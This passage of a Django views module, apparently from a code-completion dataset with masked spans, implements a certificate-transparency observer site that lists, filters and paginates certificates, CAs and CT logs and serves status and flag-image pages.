certall(request, page=None, ae=None, issuer_ca=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n ae = request.GET.get('algorithm')\n issuer_ca = request.GET.get('issuer_ca')\n date_notbefore = request.GET.get('date_notbefore')\n date_notbefore_gte = request.GET.get('date_notbefore_gte')\n is_active = request.GET.get('is_active')\n date_notafter = request.GET.get('date_notafter')\n date_notafter_lte = request.GET.get('date_notafter_lte')\n page = int(page)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=MetadataCountQuerySet(\n Certificate.objects.all().order_by('-id'), 'certificate'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n query = FastCountQuerySet(Certificate.objects.all().order_by('-id'),\n 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '1' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_before__lte=timezone.now(), not_after__gte=timezone.now\n ()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_before__lte\n =timezone.now(), not_after__gte=timezone.now()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '0' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_after__lte=datetime.date.today()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_after__lte=\n datetime.date.today()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\n<mask token>\n\n\ndef certexpired(request, page=None, order=None):\n if page == None:\n return HttpResponsePermanentRedirect('expired/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(\n not_after__lt=timezone.now()), 'number_of_expired_certs'),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certrevoked(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('revoked/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(Certificate.objects.filter(id__in=\n RevokedCertificate.objects.all().values('certificate')), ITEMS_PER_PAGE\n )\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certs_by_log(request, log_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('./1')\n page = int(page)\n log_id = int(log_id)\n list_of_certs = []\n paginator = Paginator(CtLogEntry.objects.filter(ct_log=log_id),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_entries = paginator.page(page)\n return render(request, 'observer/log_certs.html', {'log':\n get_object_or_404(CtLog, pk=log_id), 'list_of_entries':\n list_of_entries})\n\n\ndef certs_by_ca(request, ca_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('certificates/1')\n page = int(page)\n ca_id = int(ca_id)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=Certificate.objects.\n filter(issuer_ca=ca_id))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\ndef list_cn_certs(request, cn):\n field_id = 'common name'\n expression = cn\n list_of_certs = Certificate.objects.raw(\n \"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='commonName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\"\n , [cn])\n issues = issuefinder.get_all_issues(list(list_of_certs))\n return render(request, 'observer/history.html', {'field_id': field_id,\n 'expression': expression, 'list_of_certs': list_of_certs, 'issues':\n issues})\n\n\ndef list_dnsname_certs(request, dnsname):\n field_id = 'dnsname'\n expression = dnsname\n list_of_certs = Certificate.objects.raw(\n \"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\"\n , [dnsname])\n issues = issuefinder.get_all_issues(list(list_of_certs))\n return render(request, 'observer/history.html', {'field_id': field_id,\n 'expression': expression, 'list_of_certs': list_of_certs, 'issues':\n issues})\n\n\ndef log(request):\n return render(request, 'observer/logs.html', {'list_of_logs': CtLog.\n objects.all().order_by('-is_active', '-latest_entry_id', 'name')})\n\n\ndef cadetail(request, ca_id):\n ca = get_object_or_404(Ca, pk=ca_id)\n number_of_issued_ca = Certificate.objects.filter(issuer_ca=ca_id).count()\n return render(request, 'observer/cadetail.html', {'ca': ca,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\ndef certdetail(request, cert_id=None, cert_sha256=None):\n if cert_sha256:\n cert_sha256_bin = cert_sha256.decode('hex')\n cert = get_object_or_404(Certificate, certificate__sha256=\n cert_sha256_bin)\n if cert_id:\n cert = get_object_or_404(Certificate, pk=cert_id)\n cacert = CaCertificate.objects.filter(certificate_id=cert_id).first()\n digest_sha256 = str(cert.get_digest_sha256()).replace(':', '').lower()[2:-1\n ]\n return render(request, 'observer/certdetail.html', {'certificate': cert,\n 'ca_certificate': cacert, 'keysize_distribution': 'TODO',\n 'digest_sha256': digest_sha256})\n\n\n<mask token>\n\n\ndef logdetail(request, log_id):\n log = get_object_or_404(CtLog, pk=log_id)\n number_of_issued_ca = CtLogEntry.objects.filter(ct_log=log_id).count()\n return render(request, 'observer/logdetail.html', {'log': log,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\n<mask token>\n\n\ndef issues(request):\n return render(request, 'observer/issues.html')\n\n\ndef status(request):\n status = {'analyzer': {'lastrun': 0}, 'monitor': {'lastrun': 0}, 'msg':\n 'ok'}\n try:\n with open('/static/data/status.json', 'r') as f:\n status = json.load(f)\n status['analyzer']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['analyzer']['lastrun'])\n status['monitor']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['monitor']['lastrun'])\n except Exception as e:\n status['msg'] = 'Could not load status file.' + str(e)\n return render(request, 'observer/status.html', {'status': status})\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\n@register.filter\ndef get_item(dictionary, key):\n return dictionary.get(key)\n\n\nclass FastCountQuerySet:\n\n def __init__(self, queryset, tablename):\n self.queryset = queryset\n self.tablename = tablename\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT reltuples FROM pg_class WHERE relname = %s',\n [self.tablename])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, item):\n return self.queryset[item]\n\n\nclass MetadataCountQuerySet:\n\n def __init__(self, queryset, propertyname):\n self.queryset = queryset\n self.propertyname = propertyname\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT name_value FROM metadata WHERE name_type = %s',\n [self.propertyname])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, key):\n return self.queryset[key]\n\n\ndef index(request):\n metadata = {}\n expired_certs = 0\n active_certs = 0\n total_certs = 0\n total_cas = 0\n messages = []\n if 'subok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n 'Subscription request - We sent you a confirmation link via email. Click it, and you should be all set.'\n })\n if 'unsubok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n 'Unsubscription request - We sent you a confirmation link via email. sClick it, and you should be all set.'\n })\n subscribeform = SubscribeUnsubscribeForm()\n with connection.cursor() as c:\n c.execute('SELECT NAME_TYPE, NAME_VALUE FROM metadata')\n rows = c.fetchall()\n for row in rows:\n metadata[row[0]] = row[1]\n return render(request, 'observer/index.html', {'total_certs': metadata[\n 'number_of_certs'], 'total_ca': metadata['number_of_cas'],\n 'total_logs': CtLog.objects.count(), 'active_certs': metadata[\n 'number_of_active_certs'], 'expired_certs': metadata[\n 'number_of_expired_certs'], 'revoked_certs': metadata[\n 'number_of_revoked_certs'], 'misissued_certs': metadata[\n 'number_of_misissued_certs'], 'behaving_cas': metadata[\n 'number_of_correctly_behaving_cas'], 'interesting_cas': metadata[\n 'number_of_interesting_cas'], 'biggest_log': metadata[\n 'number_of_certs_in_biggest_log'], 'biggest_log_name': CtLog.\n objects.get(id=metadata['biggest_log_id']).name, 'smallest_log':\n metadata['number_of_certs_in_smallest_log'], 'uptime_days': (\n timezone.now().date() - datetime.date(2015, 10, 14)).days,\n 'messages': messages, 'subscribeform': subscribeform})\n\n\ndef search(request):\n term = request.GET.get('term', '')\n return render(request, 'observer/search.html', {'term': term})\n\n\ndef caall(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n page = int(page)\n list_of_certs = []\n filtered_qs = CaFilter(request.GET, queryset=Ca.objects.all().order_by(\n 'common_name'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/cas.html', {'list_of_ca':\n list_of_certs, 'filter': filtered_qs})\n\n\ndef certall(request, page=None, ae=None, issuer_ca=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n ae = request.GET.get('algorithm')\n issuer_ca = request.GET.get('issuer_ca')\n date_notbefore = request.GET.get('date_notbefore')\n date_notbefore_gte = request.GET.get('date_notbefore_gte')\n is_active = request.GET.get('is_active')\n date_notafter = request.GET.get('date_notafter')\n date_notafter_lte = request.GET.get('date_notafter_lte')\n page = int(page)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=MetadataCountQuerySet(\n Certificate.objects.all().order_by('-id'), 'certificate'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n query = FastCountQuerySet(Certificate.objects.all().order_by('-id'),\n 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '1' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_before__lte=timezone.now(), not_after__gte=timezone.now\n ()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_before__lte\n =timezone.now(), not_after__gte=timezone.now()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '0' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_after__lte=datetime.date.today()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_after__lte=\n datetime.date.today()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\n<mask token>\n\n\ndef certexpired(request, page=None, order=None):\n if page == None:\n return HttpResponsePermanentRedirect('expired/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(\n not_after__lt=timezone.now()), 'number_of_expired_certs'),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certrevoked(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('revoked/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(Certificate.objects.filter(id__in=\n RevokedCertificate.objects.all().values('certificate')), ITEMS_PER_PAGE\n )\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certs_by_log(request, log_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('./1')\n page = int(page)\n log_id = int(log_id)\n list_of_certs = []\n paginator = Paginator(CtLogEntry.objects.filter(ct_log=log_id),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_entries = paginator.page(page)\n return render(request, 'observer/log_certs.html', {'log':\n get_object_or_404(CtLog, pk=log_id), 'list_of_entries':\n list_of_entries})\n\n\ndef certs_by_ca(request, ca_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('certificates/1')\n page = int(page)\n ca_id = int(ca_id)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=Certificate.objects.\n filter(issuer_ca=ca_id))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\ndef list_cn_certs(request, cn):\n field_id = 'common name'\n expression = cn\n list_of_certs = Certificate.objects.raw(\n \"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='commonName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\"\n , [cn])\n issues = issuefinder.get_all_issues(list(list_of_certs))\n return render(request, 'observer/history.html', {'field_id': field_id,\n 'expression': expression, 'list_of_certs': list_of_certs, 'issues':\n issues})\n\n\ndef list_dnsname_certs(request, dnsname):\n field_id = 'dnsname'\n expression = dnsname\n list_of_certs = Certificate.objects.raw(\n \"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\"\n , [dnsname])\n issues = issuefinder.get_all_issues(list(list_of_certs))\n return render(request, 'observer/history.html', {'field_id': field_id,\n 'expression': expression, 'list_of_certs': list_of_certs, 'issues':\n issues})\n\n\ndef log(request):\n return render(request, 'observer/logs.html', {'list_of_logs': CtLog.\n objects.all().order_by('-is_active', '-latest_entry_id', 'name')})\n\n\ndef cadetail(request, ca_id):\n ca = get_object_or_404(Ca, pk=ca_id)\n number_of_issued_ca = Certificate.objects.filter(issuer_ca=ca_id).count()\n return render(request, 'observer/cadetail.html', {'ca': ca,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\ndef certdetail(request, cert_id=None, cert_sha256=None):\n if cert_sha256:\n cert_sha256_bin = cert_sha256.decode('hex')\n cert = get_object_or_404(Certificate, certificate__sha256=\n cert_sha256_bin)\n if cert_id:\n cert = get_object_or_404(Certificate, pk=cert_id)\n cacert = CaCertificate.objects.filter(certificate_id=cert_id).first()\n digest_sha256 = str(cert.get_digest_sha256()).replace(':', '').lower()[2:-1\n ]\n return render(request, 'observer/certdetail.html', {'certificate': cert,\n 'ca_certificate': cacert, 'keysize_distribution': 'TODO',\n 'digest_sha256': digest_sha256})\n\n\n<mask token>\n\n\ndef logdetail(request, log_id):\n log = get_object_or_404(CtLog, pk=log_id)\n number_of_issued_ca = CtLogEntry.objects.filter(ct_log=log_id).count()\n return render(request, 'observer/logdetail.html', {'log': log,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\ndef flag(request, flag_id):\n try:\n with open(os.path.join(BASE_DIR, 'static/flags/png/{0}.png'.format(\n flag_id.lower())), 'rb') as f:\n return HttpResponse(f.read(), content_type='image/png')\n except IOError:\n with open(os.path.join(BASE_DIR, 'static/flags/png/-.png'), 'rb') as f:\n return HttpResponse(f.read(), content_type='image/png')\n\n\n<mask token>\n\n\ndef issues(request):\n return render(request, 'observer/issues.html')\n\n\ndef status(request):\n status = {'analyzer': {'lastrun': 0}, 'monitor': {'lastrun': 0}, 'msg':\n 'ok'}\n try:\n with open('/static/data/status.json', 'r') as f:\n status = json.load(f)\n status['analyzer']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['analyzer']['lastrun'])\n status['monitor']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['monitor']['lastrun'])\n except Exception as e:\n status['msg'] = 'Could not load status file.' + str(e)\n return render(request, 'observer/status.html', {'status': status})\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\n@register.filter\ndef get_item(dictionary, key):\n return dictionary.get(key)\n\n\nclass FastCountQuerySet:\n\n def __init__(self, queryset, tablename):\n self.queryset = queryset\n self.tablename = tablename\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT reltuples FROM pg_class WHERE relname = %s',\n [self.tablename])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, item):\n return self.queryset[item]\n\n\nclass MetadataCountQuerySet:\n\n def __init__(self, queryset, propertyname):\n self.queryset = queryset\n self.propertyname = propertyname\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT name_value FROM metadata WHERE name_type = %s',\n [self.propertyname])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, key):\n return self.queryset[key]\n\n\ndef index(request):\n metadata = {}\n expired_certs = 0\n active_certs = 0\n total_certs = 0\n total_cas = 0\n messages = []\n if 'subok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n 'Subscription request - We sent you a confirmation link via email. Click it, and you should be all set.'\n })\n if 'unsubok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n 'Unsubscription request - We sent you a confirmation link via email. sClick it, and you should be all set.'\n })\n subscribeform = SubscribeUnsubscribeForm()\n with connection.cursor() as c:\n c.execute('SELECT NAME_TYPE, NAME_VALUE FROM metadata')\n rows = c.fetchall()\n for row in rows:\n metadata[row[0]] = row[1]\n return render(request, 'observer/index.html', {'total_certs': metadata[\n 'number_of_certs'], 'total_ca': metadata['number_of_cas'],\n 'total_logs': CtLog.objects.count(), 'active_certs': metadata[\n 'number_of_active_certs'], 'expired_certs': metadata[\n 'number_of_expired_certs'], 'revoked_certs': metadata[\n 'number_of_revoked_certs'], 'misissued_certs': metadata[\n 'number_of_misissued_certs'], 'behaving_cas': metadata[\n 'number_of_correctly_behaving_cas'], 'interesting_cas': metadata[\n 'number_of_interesting_cas'], 'biggest_log': metadata[\n 'number_of_certs_in_biggest_log'], 'biggest_log_name': CtLog.\n objects.get(id=metadata['biggest_log_id']).name, 'smallest_log':\n metadata['number_of_certs_in_smallest_log'], 'uptime_days': (\n timezone.now().date() - datetime.date(2015, 10, 14)).days,\n 'messages': messages, 'subscribeform': subscribeform})\n\n\ndef search(request):\n term = request.GET.get('term', '')\n return render(request, 'observer/search.html', {'term': term})\n\n\ndef caall(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n page = int(page)\n list_of_certs = []\n filtered_qs = CaFilter(request.GET, queryset=Ca.objects.all().order_by(\n 'common_name'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/cas.html', {'list_of_ca':\n list_of_certs, 'filter': filtered_qs})\n\n\ndef certall(request, page=None, ae=None, issuer_ca=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n ae = request.GET.get('algorithm')\n issuer_ca = request.GET.get('issuer_ca')\n date_notbefore = request.GET.get('date_notbefore')\n date_notbefore_gte = request.GET.get('date_notbefore_gte')\n is_active = request.GET.get('is_active')\n date_notafter = request.GET.get('date_notafter')\n date_notafter_lte = request.GET.get('date_notafter_lte')\n page = int(page)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=MetadataCountQuerySet(\n Certificate.objects.all().order_by('-id'), 'certificate'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n query = FastCountQuerySet(Certificate.objects.all().order_by('-id'),\n 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '1' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_before__lte=timezone.now(), not_after__gte=timezone.now\n ()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_before__lte\n =timezone.now(), not_after__gte=timezone.now()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '0' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_after__lte=datetime.date.today()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_after__lte=\n datetime.date.today()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\n<mask token>\n\n\ndef certexpired(request, page=None, order=None):\n if page == None:\n return HttpResponsePermanentRedirect('expired/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(\n not_after__lt=timezone.now()), 'number_of_expired_certs'),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certrevoked(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('revoked/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(Certificate.objects.filter(id__in=\n RevokedCertificate.objects.all().values('certificate')), ITEMS_PER_PAGE\n )\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certs_by_log(request, log_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('./1')\n page = int(page)\n log_id = int(log_id)\n list_of_certs = []\n paginator = Paginator(CtLogEntry.objects.filter(ct_log=log_id),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_entries = paginator.page(page)\n return render(request, 'observer/log_certs.html', {'log':\n get_object_or_404(CtLog, pk=log_id), 'list_of_entries':\n list_of_entries})\n\n\ndef certs_by_ca(request, ca_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('certificates/1')\n page = int(page)\n ca_id = int(ca_id)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=Certificate.objects.\n filter(issuer_ca=ca_id))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\ndef list_cn_certs(request, cn):\n field_id = 'common name'\n expression = cn\n list_of_certs = Certificate.objects.raw(\n \"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='commonName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\"\n , [cn])\n issues = issuefinder.get_all_issues(list(list_of_certs))\n return render(request, 'observer/history.html', {'field_id': field_id,\n 'expression': expression, 'list_of_certs': list_of_certs, 'issues':\n issues})\n\n\ndef list_dnsname_certs(request, dnsname):\n field_id = 'dnsname'\n expression = dnsname\n list_of_certs = Certificate.objects.raw(\n \"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\"\n , [dnsname])\n issues = issuefinder.get_all_issues(list(list_of_certs))\n return render(request, 'observer/history.html', {'field_id': field_id,\n 'expression': expression, 'list_of_certs': list_of_certs, 'issues':\n issues})\n\n\ndef log(request):\n return render(request, 'observer/logs.html', {'list_of_logs': CtLog.\n objects.all().order_by('-is_active', '-latest_entry_id', 'name')})\n\n\ndef cadetail(request, ca_id):\n ca = get_object_or_404(Ca, pk=ca_id)\n number_of_issued_ca = Certificate.objects.filter(issuer_ca=ca_id).count()\n return render(request, 'observer/cadetail.html', {'ca': ca,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\ndef certdetail(request, cert_id=None, cert_sha256=None):\n if cert_sha256:\n cert_sha256_bin = cert_sha256.decode('hex')\n cert = get_object_or_404(Certificate, certificate__sha256=\n cert_sha256_bin)\n if cert_id:\n cert = get_object_or_404(Certificate, pk=cert_id)\n cacert = CaCertificate.objects.filter(certificate_id=cert_id).first()\n digest_sha256 = str(cert.get_digest_sha256()).replace(':', '').lower()[2:-1\n ]\n return render(request, 'observer/certdetail.html', {'certificate': cert,\n 'ca_certificate': cacert, 'keysize_distribution': 'TODO',\n 'digest_sha256': digest_sha256})\n\n\n<mask token>\n\n\ndef logdetail(request, log_id):\n log = get_object_or_404(CtLog, pk=log_id)\n number_of_issued_ca = CtLogEntry.objects.filter(ct_log=log_id).count()\n return render(request, 'observer/logdetail.html', {'log': log,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\ndef flag(request, flag_id):\n try:\n with open(os.path.join(BASE_DIR, 'static/flags/png/{0}.png'.format(\n flag_id.lower())), 'rb') as f:\n return HttpResponse(f.read(), content_type='image/png')\n except IOError:\n with open(os.path.join(BASE_DIR, 'static/flags/png/-.png'), 'rb') as f:\n return HttpResponse(f.read(), content_type='image/png')\n\n\ndef imprint(request):\n return render(request, 